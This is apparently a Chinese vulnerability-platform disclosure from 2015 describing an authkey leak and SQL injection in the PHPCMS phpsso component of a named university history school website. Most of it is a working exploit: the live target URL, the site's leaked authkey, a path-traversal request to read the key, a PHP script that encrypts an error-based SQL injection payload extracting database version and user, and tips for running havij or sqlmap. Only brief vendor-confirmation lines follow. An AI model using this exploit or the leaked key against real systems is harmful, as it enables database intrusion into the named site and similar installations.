2015-06-16: 细节已通知厂商并且等待厂商处理中 2015-06-16: 厂商已经确认,细节仅向厂商公开 2015-06-26: 细节向核心白帽子及相关领域专家公开 2015-07-06: 细节向普通白帽子公开 2015-07-16: 细节向实习白帽子公开 2015-07-31: 细节向公众公开
中国人民大学历史学院authkey注入
http://www.lishixueyuan.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9+DjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQ
获取authkey ,然后放到脚本里,本地搭建php环境然后用havij跑。sqlmap跑不完整注入脚本
<?phpset_time_limit(0);$wang_url = 'http://www.lishixueyuan.com/';echo $wang_url."\r\n";$auth_key = 'chD2rYBiGPC2hm2LLrUw7G4zNyGeBZYh';$str = "uid=".stripslashes($_GET['id']);//$str = "uid=1' and (select 1 from (select count(*),concat(version(),0x5f5f,database(),0x5f5f,user(),floor(rand()*2))x from information_schema.tables group by x)a);#";$encode = sys_auth($str, 'ENCODE', $auth_key);$allurl=($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);$content = file_get_contents($allurl);//header("Location: $allurl"); echo $content;function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++){ $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } }}//或者直接$str = "uid=1";然后放sqlmap里面跑起来。速度挺快的。///api.php?op=get_menu&act=ajax_getlist&callback=t00ls&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin?>
补丁
危害等级:中
漏洞Rank:8
确认时间:2015-06-16 14:25
非常感谢!已通知。
暂无